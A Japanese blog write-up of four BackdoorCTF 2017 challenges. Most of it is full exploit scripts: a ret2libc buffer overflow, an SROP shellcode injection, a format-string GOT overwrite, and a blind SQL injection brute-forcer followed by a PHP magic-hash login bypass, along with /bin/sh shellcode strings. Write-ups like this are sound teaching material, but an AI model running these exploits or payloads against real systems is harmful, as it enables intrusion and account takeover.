LoginSignup
2
0

More than 5 years have passed since last update.

BackdoorCTF 2017 writeup

Last updated at Posted at 2017-09-24

JUST-DO-IT

libcとバイナリが配られる

fileコマンド結果

root@ubuntu:~/pwn/backdoorctf/just-do-it# file 32_chal 
32_chal: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=44cdbea7d171ee34f7089bf99cff53b0d71ef1ba, not stripped

checksec結果

root@ubuntu:~/pwn/backdoorctf/just-do-it# checksec 32_chal 
[*] '/home/no1zy/pwn/backdoorctf/just-do-it/32_chal'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

自明なBOFがあるのでやるだけ

#!/usr/bin/env python
from pwn import *

context(os='linux', arch='i386')
context.log_level = 'debug' # output verbose log

RHOST = "163.172.176.29"
RPORT = 9036
LHOST = "127.0.0.1"
LPORT = 4444
BINARY = '32_chal'
libc = ELF('libc.so.6')
elf = ELF(BINARY)

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

conn = None
if len(sys.argv) > 1:
    if sys.argv[1] == 'r':
        conn = remote(RHOST, RPORT)
    elif sys.argv[1] == 'l':
        conn = remote(LHOST, LPORT)
    elif sys.argv[1] == 'd':
        execute = """
        #set environment LD_PRELOAD=libc.so.6
        b *{0}
        c
        """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
        conn = gdb.debug([BINARY], execute=execute)
    elif sys.argv[1] == 'a':
        conn = remote(LHOST, LPORT)
        f = open("cmd", "r")
        time.sleep(0.5)
        pid = proc.pid_by_name(BINARY)
        gdb.attach(pid[0], f)
else:
    #conn = process([BINARY])
     conn = process([BINARY], env={'LD_PRELOAD': 'libc.so.6'})

sc_execve32 = "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"
sc_execve64 = "\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"
dup2_execve32 = "\x31\xd2\x31\xc9\x8d\x5a\x04\x8d\x42\x3f\xcd\x80\x41\x8d\x42\x3f\xcd\x80\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"
dup2_execve64 = "\x31\xd2\x31\xf6\x67\x8d\x7a\x04\x67\x8d\x42\x21\x0f\x05\xff\xc6\x67\x8d\x42\x21\x0f\x05\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x8d\x42\x3b\x0f\x05"
#-----------START EXPLOIT CODE-----------#
log.info('Pwning')
got_write = elf.got['write']
write = elf.plt['write']
main = elf.symbols['main']
offset_write = libc.symbols['write']
system = libc.symbols['system']
binsh = next(libc.search("/bin/sh"))

payload = 'a' * 112
payload += p32(write)
payload += p32(0x0804853d) # pop3
payload += p32(1)
payload += p32(got_write)
payload += p32(4)
payload += p32(main)

conn.sendlineafter('Hello pwners,', payload)
conn.recvuntil('\n')
line = conn.recvuntil('H')

libc_write = u32(line[1:5])
libc_base = libc_write - offset_write

payload = 'a' * 0x68
payload += p32(system + libc_base)
payload += 'AAAA'
payload += p32(binsh + libc_base)

conn.sendlineafter('pwners,', payload)
conn.interactive()
flag{all_th3_b35t_y0u_successfully_started_s0lving_:P}

FUNSIGNALS

SROPする問題

fileコマンド結果

root@ubuntu:~/pwn/backdoorctf/fun# file player_bin 
player_bin: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, not stripped

checksec結果

root@ubuntu:~/pwn/backdoorctf/fun# checksec player_bin 
[*] '/home/no1zy/pwn/backdoorctf/fun/player_bin'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x10000000)
    RWX:      Has RWX segments

readelf結果

root@ubuntu:~/pwn/backdoorctf/fun# readelf -S player_bin 
5 個のセクションヘッダ、始点オフセット 0x11b0:

セクションヘッダ:
  [番] 名前              タイプ           アドレス          オフセット
       サイズ            EntSize          フラグ Link  情報  整列
  [ 0]                   NULL             0000000000000000  00000000
       0000000000000000  0000000000000000           0     0     0
  [ 1] .shellcode        PROGBITS         0000000010000000  00001000
       000000000000004b  0000000000000000 WAX       0     0     1
  [ 2] .shstrtab         STRTAB           0000000000000000  00001188
       0000000000000026  0000000000000000           0     0     1
  [ 3] .symtab           SYMTAB           0000000000000000  00001050
       00000000000000f0  0000000000000018           4     5     8
  [ 4] .strtab           STRTAB           0000000000000000  00001140
       0000000000000048  0000000000000000           0     0     1
フラグのキー:
  W (write), A (alloc), X (実行), M (merge), S (文字列), l (large)
  I (情報), L (リンク順), G (グループ), T (TLS), E (排他), x (不明)
  O (追加の OS 処理が必要) o (OS 固有), p (プロセッサ固有)

.shellcodeセクションにshellcodeを置いてそこに飛ばせばいけそう。

方針

一回目にreadを呼び出しshellcodeセクションにshellcodeを置いて、ripをsigreturnが呼び出されるsyscallのもう一つ前のsyscall命令のアドレスに設定する
つぎのsigreturnでripをshellcodeセクションの先頭に設定する。

exploit

#!/usr/bin/env python
from pwn import *

context(os='linux', arch='amd64')
context.log_level = 'debug'

RHOST = "163.172.176.29"
RPORT = 9034
LHOST = "127.0.0.1"
LPORT = 4444
BINARY = 'player_bin'
# libc = ELF('None')
elf = ELF(BINARY)

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

conn = None
if len(sys.argv) > 1:
    if sys.argv[1] == 'r':
        conn = remote(RHOST, RPORT)
    elif sys.argv[1] == 'l':
        conn = remote(LHOST, LPORT)
    elif sys.argv[1] == 'a':
        conn = remote(LHOST, LPORT)
        f = open("cmd", "r")
        time.sleep(0.5)
        pid = proc.pid_by_name(BINARY)
        gdb.attach(pid[0], f)
else:
    conn = process([BINARY])

shellcode32 = "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"
shellcode64 = "\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"
#-----------START EXPLOIT CODE-----------#
log.info('Start exploit')
bss = section_addr('.shellcode')

stack_size = 0x400
base_stage = bss + stack_size

payload1 = 'AAAAAAAA' * 5
payload1 += p64(0) * 8              # r8-r15
payload1 += p64(0)                  # rdi
payload1 += p64(base_stage)         # rsi
payload1 += p64(0)                  # rbp
payload1 += p64(0)                  # rbx
payload1 += p64(999)                # rdx
payload1 += p64(0)                  # rax
payload1 += p64(0)                  # rcx
payload1 += p64(base_stage)         # rsp
payload1 += p64(0x10000002)         # rip
payload1 += p64(0)                  # eflags
payload1 += p64(0x33)               # csgsfs
payload1 += 'AAAAAAAA' * 4
payload1 += p64(0)                  # &fpstate

payload2 = shellcode64
payload2 += 'A' * (40 - len(shellcode64))
payload2 += p64(0) * 8              # r8-r15
payload2 += p64(0)                  # rdi
payload2 += p64(0)                  # rsi
payload2 += p64(0)                  # rbp
payload2 += p64(0)                  # rbx
payload2 += p64(0)                  # rdx
payload2 += p64(0)                  # rax
payload2 += p64(0)                  # rcx
payload2 += p64(base_stage)         # rsp
payload2 += p64(base_stage)         # rip
payload2 += p64(0)                  # eflags
payload2 += p64(0x33)               # csgsfs
payload2 += 'AAAAAAAA' * 4
payload2 += p64(0)                  # &fpstate

conn.send(payload1)
time.sleep(3)
conn.send(payload2)
conn.interactive()

shellを取った後は問題バイナリの中にflagが隠されているので
strings server_bin
でflagを入手する。
flag{W3lc0m3_T0_th3_n3w_w0rld_OF_S1gn4l5}

SROP参考資料
http://inaz2.hatenablog.com/entry/2014/07/30/021123

BABY-0x41414141

自明なFSBがある

fileコマンド結果

root@ubuntu:~/pwn/backdoorctf/baby-0x41414141# file 32_new 
32_new: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=da5e14c668579652906e8dd34223b8b5aa3becf8, not stripped

checksec結果

root@ubuntu:~/pwn/backdoorctf/baby-0x41414141# checksec 32_new 
[*] '/home/no1zy/pwn/backdoorctf/baby-0x41414141/32_new'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

flag.txtをcatする関数があるのでGOT Overwriteでexit関数をそこに書き換えるだけ

exploit

#!/usr/bin/env python
from pwn import *

context(os='linux', arch='i386')
context.log_level = 'debug'

RHOST = "163.172.176.29"
RPORT = 9035
LHOST = "127.0.0.1"
LPORT = 4444
BINARY = '32_new'
# libc = ELF('None')
elf = ELF(BINARY)

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

conn = None
if len(sys.argv) > 1:
    if sys.argv[1] == 'r':
        conn = remote(RHOST, RPORT)
    elif sys.argv[1] == 'l':
        conn = remote(LHOST, LPORT)
    elif sys.argv[1] == 'a':
        conn = remote(LHOST, LPORT)
        f = open("cmd", "r")
        time.sleep(0.5)
        pid = proc.pid_by_name(BINARY)
        gdb.attach(pid[0], f)
else:
    conn = process([BINARY])

shellcode32 = "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"
shellcode64 = "\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"
#-----------START EXPLOIT CODE-----------#
log.info('Start exploit')
flag = elf.symbols['_Z4flagv']  #0x804870b
exit = elf.got['exit']

fmt = {
   exit : flag,
}

conn.sendlineafter('whats your name?', fmtstr_payload(10, fmt, len('Ok cool, soon we will know whether you pwned it or not. Till then Bye ')))

conn.interactive()

flag{hey_c0ngr4ts_Y0u_pwn3d_1t_y0u_4r3_n0_l0ng3r_a_b4by}

THE-WALL

blindSQLiする問題
tableの構造

CREATE TABLE IF NOT EXISTS users(id INTEGER PRIMARY KEY AUTOINCREMENT,username TEXT,password TEXT,role TEXT)

passwordはmd5でhash化される

$password = md5($password);

union と | が使えない

if(preg_match('/(union|\|)/i', $username))

serverで実行されるSQL

$query = "SELECT * FROM users WHERE username='$username'";

認証部分

if($users) {
        if($password == $users['password']){
            if($users['role']=="admin"){
                echo "Here is your flag: $flag";
            }elseif($users['role']=="normal"){
                $message = "Welcome, ".$users['users']."</br>";
                $message.= "Unfortunately, only Lord Commander can access flag";
            }else{
                $message = "What did you do?";
            }
        }
        else{
            $message = "Wrong identity for : ".$users['username'];
        }
    }
    else{
        $message = "No such person exists"."<br>";
    }

roleがadminのuserのパスワードがわかればいい感じにいけそう

import requests

url = 'http://163.172.176.29/WALL/index.php'
password = ''

for i in range(1,33):
    for char in range(48, 91):
        if chr(char) == '%' or chr(char) == '_':
            continue 
        payload = {
            'life' : "' or role = 'admin' AND password like '{0}%' -- ".format(password + chr(char)),
            'soul' : 'aaaa',
        }

        r = requests.post(url, data=payload)
        if r.text.find('LordCommander') is not -1:
            password += chr(char).lower()
            print('Hit: {0}'.format(password))
            break
print(password)

結果

0e565041023046045310587974628079

md5のハッシュ値が0eから始まっていて

if($password == $users['password'])

passwordの比較が甘いのでmagic hashの脆弱性に繋がる
https://www.whitehatsec.com/blog/magic-hashes/

usernameとpasswordに
LordCommander
240610708

を入力して送信すればflagを得られる。
CTF{type_juggling_and_blind_sql_are_worth_a_fun_240610708}

2
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
2
0